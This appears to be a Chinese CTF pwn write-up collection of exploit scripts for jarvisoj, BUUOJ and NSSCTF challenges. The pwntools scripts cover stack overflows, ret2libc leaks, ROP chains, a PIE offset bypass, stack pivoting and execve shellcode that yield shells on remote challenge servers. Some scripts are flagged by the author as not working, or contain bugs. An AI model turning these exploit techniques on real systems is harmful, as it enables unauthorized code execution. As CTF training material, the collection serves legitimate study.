6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
# context(log_level='debug', arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = './2'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('node4.buuoj.cn', 25171)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
pop_rdi_ret = 0x4006b3
system_addr = 0x4004C0
#要找sysrem函数plt的地址
# .plt:00000000004004C0 ; int system(const char *command)
# .plt:00000000004004C0 _system proc near ; CODE XREF: vulnerable_function+D↓p
# .plt:00000000004004C0 ; main+1E↓p
# .plt:00000000004004C0 FF 25 9A 05 20 00 jmp cs:off_600A60
# .plt:00000000004004C0
# .plt:00000000004004C0 _system endp
binsh_addr = 0x600A90
io.recv()
padding = 0x80+0x8
payload = flat([b'a' * padding, pop_rdi_ret,binsh_addr,system_addr])
io.sendline(payload)
io.interactive()
|
jarvisoj-level2(ret2sys)
1
2
3
4
5
6
7
|
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
system("echo Input:");
return read(0, buf, 0x100u);
}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
context(log_level='debug', arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')
pwnfile = './2'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('pwn2.jarvisoj.com', 9878)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
system_addr = 0x8048320
binsh_addr = 0x804A024
io.recv()
padding = 0x88+0x4
payload = flat([b'a' * padding,system_addr,0,binsh_addr])
io.sendline(payload)
io.interactive()
|
jarvisoj-Tell Me Something(ret2text)(远程环境有问题)
1
2
3
4
5
6
7
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+0h] [rbp-88h] BYREF
write(1, "Input your message:\n", 0x14uLL);
read(0, &v4, 0x100uLL);
return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
int good_game()
{
FILE *v0; // rbx
int result; // eax
char buf[9]; // [rsp+Fh] [rbp-9h] BYREF
v0 = fopen("flag.txt", "r");
while ( 1 )
{
result = fgetc(v0);
buf[0] = result;
if ( (_BYTE)result == 0xFF )
break;
write(1, buf, 1uLL);
}
return result;
}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
# context(log_level='debug', arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
io = remote('pwn.jarvisoj.com', 9876)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
catflag_addr=0x400620
io.recv()
padding = 0x88+0x8
payload = flat([b'a' * padding,catflag_addr])
io.sendline(payload)
io.interactive()
|
jarvisoj-level0(ret2sys+ROPgadget)
1
2
3
4
5
|
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
# context(log_level='debug', arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
io = remote('pwn2.jarvisoj.com', 9881)
pop_rdi_ret = 0x400663
system_addr = 0x400460
binsh_addr = 0x400684
io.recv()
padding = 0x80+0x8
payload = flat([b'a' * padding,pop_rdi_ret,binsh_addr,system_addr])
io.sendline(payload)
io.interactive()
|
jarvisoj-level3(ret2libc_x86_本地libc)
1
2
3
4
5
6
|
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
write(1, "Input:\n", 7u);
return read(0, buf, 0x100u);
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
context(log_level='debug', arch='i386', os='linux')
#context(log_level='debug',arch='amd64', os='linux')
libc = ELF('./libc-2.19.so')
pwnfile = './1'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('pwn2.jarvisoj.com',9879)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
main_addr = 0x08048484
# exit_addr = 0x08048558
write_plt=elf.plt['write']
write_got=elf.got['write']
print(hex(write_plt))
print(hex(write_got))
padding = 0x88+0x4
payload=flat([b'a'*padding,write_plt,main_addr,1,write_got,4])
io.recv()
io.sendline(payload)
write_addr = u32(io.recv(4))
print("write_addr is : "+hex(write_addr))
libc_base = write_addr-libc.symbols['write']
#根据write()的真实地址计算出offset
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base+next(libc.search(b'/bin/sh'))
io.recv()
payload3 = flat([b'a'*padding,system_addr,0,binsh_addr])
io.sendline(payload3)
io.interactive()
|
jarvisoj-level4(ret2libc_x86)
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
from LibcSearcher import*
context(log_level='debug', arch='i386', os='linux')
#context(log_level='debug',arch='amd64', os='linux')
pwnfile = './2'
io = remote('pwn2.jarvisoj.com',9880)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
main_addr = 0x8048470
# exit_addr = 0x08048558
write_plt=0x8048340
write_got=0x804A018
padding = 0x88+0x4
payload=flat([b'a'*padding,write_plt,main_addr,1,write_got,4])
io.sendline(payload)
write_addr = u32(io.recv(4))
print("write_addr is : "+hex(write_addr))
libc = LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')
payload3 = flat([b'a'*padding,system_addr,0,binsh_addr])
io.sendline(payload3)
io.interactive()
|
jarvisoj-level2(ret2sys_x64)
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
from LibcSearcher import*
# context(log_level='debug', arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = './3'
io = remote('pwn2.jarvisoj.com',9882)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
pop_rdi_ret_addr = 0x00000000004006b3
system_addr = 0x00000000004004C0
binsh_addr = 0x0000000000600A90
padding = 0x80+0x8
payload = flat([b'a'*padding,pop_rdi_ret_addr,binsh_addr,system_addr])
io.sendline(payload)
io.interactive()
|
jarvisoj-level2(ret2libc_x64_本地libc)
1
2
3
4
5
6
|
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
write(1, "Input:\n", 7uLL);
return read(0, buf, 0x200uLL);
}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
# context(log_level='debug', arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
libc = ELF('./libc-2.19.so')
pwnfile = './0'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('pwn2.jarvisoj.com',9883)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
pop_rdi_ret_addr = 0x00000000004006b3
pop_rsi_r15_ret_addr = 0x00000000004006b1
ret_addr = 0x0000000000400499
main_addr = 0x000000000040061A
write_plt=elf.plt['write']
write_got=elf.got['write']
padding = 0x80+0x8
payload=flat([b'a'*padding,pop_rdi_ret_addr,1,pop_rsi_r15_ret_addr,write_got,8,write_plt,main_addr])
io.recv()
io.sendline(payload)
write_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("write_addr is : "+hex(write_addr))
libc_base = write_addr-libc.symbols['write']
#根据write()的真实地址计算出offset
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base+next(libc.search(b'/bin/sh'))
io.recv()
payload3 = flat([b'a'*padding,pop_rdi_ret_addr,binsh_addr,system_addr])
io.sendline(payload3)
io.interactive()
|
BUUOJ-[HarekazeCTF2019]baby_rop(ret2sys+find flag)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
# context(log_level='debug', arch='i386', os='linux')
context(log_level='INFO',arch='amd64', os='linux')
pwnfile = './0'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('node4.buuoj.cn', 26489)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
pop_rdi_ret_addr = 0x0000000000400683
system_addr = 0x000000000400490
binsh_addr = 0x00000000601048
padding = 0x10+0x8
io.recv()
payload = flat([b'a' * padding, pop_rdi_ret_addr, binsh_addr, system_addr])
io.sendline(payload)
io.interactive()
|
Tips:这题的flag不在根目录,需要通过 find . -name ‘flag’ 命令查找
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
./home/babyrop/flag
find: './proc/tty/driver': Permission denied
find: './proc/1/task/1/fd': Permission denied
find: './proc/1/task/1/fdinfo': Permission denied
find: './proc/1/task/1/ns': Permission denied
find: './proc/1/fd': Permission denied
find: './proc/1/map_files': Permission denied
find: './proc/1/fdinfo': Permission denied
find: './proc/1/ns': Permission denied
find: './proc/7/task/7/fd': Permission denied
find: './proc/7/task/7/fdinfo': Permission denied
find: './proc/7/task/7/ns': Permission denied
find: './proc/7/fd': Permission denied
find: './proc/7/map_files': Permission denied
find: './proc/7/fdinfo': Permission denied
find: './proc/7/ns': Permission denied
find: './root': Permission denied
|
BUUOJ-not_the_same_3dsctf_2016(调用write函数来读取bss段内容_x86)
1
2
3
4
5
6
7
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF
printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(v4);
return 0;
}
|
1
2
3
4
5
6
7
|
int get_secret()
{
int v0; // esi
v0 = fopen("flag.txt", &unk_80CF91B);
fgets(&fl4g, 45, v0);
return fclose(v0);
}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
context(log_level='INFO', arch='i386', os='linux')
#context(log_level='debug',arch='amd64', os='linux')
io = remote('node4.buuoj.cn',29591)
writeflag_addr=0x080489A0
write_addr = 0x806E270
flagbss_addr = 0x080ECA2D
padding = 0x2D
payload=flat([b'a'*padding,writeflag_addr,write_addr,0,1,flagbss_addr,45])
#Tips:一定要记得填上write函数的返回地址
io.sendline(payload)
io.interactive()
|
BUUOJ-ciscn_2019_n_5(ret2shellcode / ret2libc_x64)
1
2
3
4
5
6
7
8
9
10
11
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char text[30]; // [rsp+0h] [rbp-20h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
puts("tell me your name");
read(0, name, 0x64uLL);
puts("wow~ nice name!");
puts("What do you want to say to me?");
gets(text);
return 0;
}
|
ret2shellcode
这个方法可能有点慢,要稍微等一会。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
context(log_level='INFO',arch='amd64', os='linux')
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('node4.buuoj.cn',25898)
shellcode = asm(shellcraft.sh())
shellcode_addr = 0x601080
padding = 0x20+0x8
io.recv()
io.sendline(shellcode)
io.recv()
payload = flat([b'a' * padding,shellcode_addr])
io.sendline(payload)
io.interactive()
|
ret2libc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
from LibcSearcher import *
# context(log_level='debug', arch='i386', os='linux')
context(log_level='INFO',arch='amd64', os='linux')
pwnfile = './4'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('node4.buuoj.cn',25898)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
#以调试的模式运行程序
#gdb.attach(io)
#pause()
ret_addr=0x00000000004004c9
pop_rdi_ret_addr=0x0000000000400713
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x0000000400636
padding = 0x20+0x8
payload = flat([b'a' * (padding),pop_rdi_ret_addr,puts_got,puts_plt,main_addr])
io.recv()
io.sendline('1')
io.recv()
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')
payload1 =flat([b'a' *(padding),ret_addr,pop_rdi_ret_addr,binsh_addr,sys_addr])
io.recv()
io.sendline('1')
io.recv()
io.sendline(payload1)
io.interactive()
|
BUUOJ-others_shellcode(ret2shellcode)
1
2
3
4
5
6
7
8
9
|
int getShell()
{
int result; // eax
char v1[9]; // [esp-Ch] [ebp-Ch] BYREF
strcpy(v1, "/bin//sh");
result = 11;
__asm { int 80h; LINUX - sys_execve }
return result;
}
|
发现asm里面是int 0x80,启动中断,那么这时我们看看eax,eax就是result,这个赋值成了11
查一下表发现是execve函数,然后又发现栈上的参数赋值成了/bin//sh,直接nc就能拿到shell.
BUUOJ-ciscn_2019_ne_5(布置栈+函数调用)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // [esp+0h] [ebp-100h] BYREF
char src[4]; // [esp+4h] [ebp-FCh] BYREF
char v6[124]; // [esp+8h] [ebp-F8h] BYREF
char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
char v8[96]; // [esp+88h] [ebp-78h] BYREF
int *p_argc; // [esp+F4h] [ebp-Ch]
p_argc = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = 48;
memset(v8, 0, sizeof(v8));
*(_DWORD *)src = 48;
memset(v6, 0, sizeof(v6));
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf("%100s", s1);
if ( strcmp(s1, "administrator") )
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exit\n:");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 0:
exit(0);
return result;
case 1:
AddLog((int)src);
break;
case 2:
Display(src);
break;
case 3:
Print();
break;
case 4:
GetFlag(src);
break;
default:
break;
}
sub_804892B();
return result;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
int __cdecl AddLog(int a1)
{
printf("Please input new log info:");
return __isoc99_scanf("%128s", a1);
}
int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h] BYREF
char v3[60]; // [esp+4h] [ebp-44h] BYREF
*(_DWORD *)dest = 48;
memset(v3, 0, sizeof(v3));
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}
|
只能利用函数Addlog和GetFlag来getshell,Addlog允许输入128字节的内容,然后GetFlag函数会调用我们输入的src,并把src复制给dest。所以利用思路就是,我们先在Addlog里布栈,然后通过GetFlag函数会将src作为参数传入这一点来进行栈溢出ret到system函数来getshell。
1
2
3
4
|
#这里有个新技巧就是利用ROPgadget来查找字符串
ROPgadget --binary filename --string "sh"
#利用objdump来找system函数的地址
objdump -d 0 | grep system
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
context(log_level='INFO', arch='i386', os='linux')
pwnfile = './0'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('node4.buuoj.cn', 27858)
system_addr = 0x080484D0
sh_addr = 0x080482ea
exit_addr = 0x080484E0
#Tips:尽量将返回地址填为exit_addr,要不然有时候会报错打不通
padding = 0x48+0x4
io.recv()
io.sendline("administrator")
io.recv()
io.sendline('1')
payload = flat([b'a' * padding, system_addr,exit_addr,sh_addr])
io.sendline(payload)
io.recv()
io.sendline('4')
io.interactive()
|
NSSCTF-[NISACTF 2022]ReorPwn?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
__int64 __fastcall fun(const char *a1)
{
__int64 result; // rax
char v2; // [rsp+17h] [rbp-9h]
int i; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]
v4 = strlen(a1);
for ( i = 0; ; ++i )
{
result = (unsigned int)(v4 / 2);
if ( i >= (int)result )
break;
v2 = a1[i];
a1[i] = a1[v4 - i - 1];
a1[v4 - i - 1] = v2;
}
return result;
}
|
字符串逆序,nc以后输入hs/nib/即可getshell
NSSCTF-[NISACTF 2022]ezstack
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
from LibcSearcher import*
context(log_level='debug', arch='i386', os='linux')
# context(log_level='INFO',arch='amd64', os='linux')
pwnfile = './0'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('1.14.71.254', 28406)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
padding = 0x48+0x4
system_addr = 0x08048390
binsh_addr = 0x0804A024
io.recv()
payload = flat([b'a'*padding,system_addr,0,binsh_addr])
io.sendline(payload)
io.interactive()
|
NSSCTF-[NISACTF 2022]ezpie(PIE保护_x86)
1
2
3
4
5
|
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
|
PIE保护开启,函数的地址随机在变,但是每个函数间的偏移量不变
1
2
3
4
5
6
7
8
9
10
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("OHHH!,give you a gift!");
printf("%p\n", main);
puts("Input:");
vuln();
return 0;
}
|
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
from LibcSearcher import*
context(log_level='INFO', arch='i386', os='linux')
# context(log_level='INFO',arch='amd64', os='linux')
pwnfile = './2'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('1.14.71.254', 28080)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
padding = 0x28+0x4
# calculate the offset between main and shell
main_addr = elf.symbols['main']
shell_addr = elf.symbols['shell']
offset = shell_addr - main_addr
# print('offset is %x' %offset)
io.recvuntil('gift!\n')
new_main_addr = int (io.recv(11),16)
#将接收到的16进制地址(包括\n和0x)转换为10进制
# print(new_main_addr)
new_shell_addr = new_main_addr+offset
# print(new_shell_addr)
payload = flat([b'a'*padding,new_shell_addr])
io.recv()
io.sendline(payload)
io.interactive()
|
[GFCTF 2021]where_is_shell(x64 用$0(\x24\x30来代替sh))
1
|
.text:0000000000400540 E8 24 30 00 00 call near ptr 403569h
|
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
from LibcSearcher import*
# context(log_level='INFO', arch='i386', os='linux')
context(log_level='INFO',arch='amd64', os='linux')
pwnfile = './0'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('1.14.71.254', 28902)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
padding = 0x10+0x8
sys_addr = elf.plt['system']
print(sys_addr)
ret_addr = 0x0000000000400416
pop_rdi_ret_addr = 0x00000000004005e3
shell_addr = 0x400541
payload = flat([b'a'*padding,ret_addr,pop_rdi_ret_addr,shell_addr,sys_addr])
io.recv()
io.sendline(payload)
io.interactive()
|
[Black Watch 入群题]PWN(栈迁移_x86 没打通)
1
2
3
4
5
6
7
8
9
10
11
12
13
|
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf[24]; // [esp+0h] [ebp-18h] BYREF
v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u);
v1 = strlen(m2);
write(1, m2, v1);
return read(0, buf, 0x20u);
}
|
exp
参考:https://blog.csdn.net/mcmuyanga/article/details/109260008
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
from LibcSearcher import*
context(log_level='INFO', arch='i386', os='linux')
# context(log_level='INFO',arch='amd64', os='linux')
pwnfile = './1'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('node4.buuoj.cn', 26060)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
s = 0x0804A300
leave_ret_addr = 0x08048408
ret_addr = 0x08048312
padding = 0x18
payload = flat([write_plt,main_addr,1,write_got,4])
payload1 = flat([b'a'*padding,s-4,leave_ret_addr])
# 溢出后将rbp覆写成s-4的地址,函数返回地址覆写成leave;ret指令的地址
io.recv()
io.sendline(payload)
io.recv()
io.sendline(payload1)
write_addr = u32(io.recv(4))
print(hex(write_addr))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = flat([system_addr,0,sh_addr])
io.recv()
io.sendline(payload2)
io.recv()
io.sendline(payload1)
io.interactive()
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
from LibcSearcher import*
context(log_level='INFO', arch='i386', os='linux')
# context(log_level='INFO',arch='amd64', os='linux')
pwnfile = './1'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('node4.buuoj.cn', 26060)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
s = 0x0804A300
leave_ret_addr = 0x08048408
ret_addr = 0x08048312
padding = 0x18
shellcode = asm(shellcraft.sh())
payload1 = flat([b'a'*padding,s-4,leave_ret_addr])
# 溢出后将rbp覆写成s-4的地址,函数返回地址覆写成leave;ret指令的地址
io.recv()
io.sendline(shellcode)
io.recv()
io.sendline(payload1)
io.interactive()
|
铁人三项(第五赛区)_2018_rop(retlibc_x86)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
from LibcSearcher import*
context(log_level='INFO', arch='i386', os='linux')
#context(log_level='debug',arch='amd64', os='linux')
pwnfile = './2'
elf = ELF(pwnfile)
io = remote('node4.buuoj.cn',29199)
main_addr = elf.symbols['main']
# exit_addr = 0x08048558
write_plt = elf.plt['write']
write_got = elf.got['write']
padding = 0x88+0x4
payload=flat([b'a'*padding,write_plt,main_addr,1,write_got,4])
io.sendline(payload)
write_addr = u32(io.recv(4))
print("write_addr is : "+hex(write_addr))
libc = LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')
payload3 = flat([b'a'*padding,system_addr,0,binsh_addr])
io.sendline(payload3)
io.interactive()
|
pwnable_start(x86纯看汇编+ret2shellcode)
这道题让我深刻领悟到了send和sendline的区别QAQ
因为我们后面还要用到那个回车所在地址的参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
# -*- coding: UTF-8 -*-
import sys
from pwn import *
context(log_level='INFO', arch='i386', os='linux')
pwnfile = './2'
if len(sys.argv) < 2:
io = process(pwnfile)
else:
io = remote('node4.buuoj.cn', 28675)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
padding = 0x14
mov_ecx_esp_addr = 0x08048087
#先调用write函数泄露栈的起始地址
shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f;mov ebx,esp;mov al,0xb;int 0x80')
# shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = flat([b'a' * padding,mov_ecx_esp_addr])
io.recv()
io.send(payload)
stack = u32(io.recv(4))
print("stack_addr:"+hex(stack))
payload1=flat([b'a'*padding,(stack+padding),shellcode])
#在栈上执行shellcode
io.send(payload1)
io.interactive()
|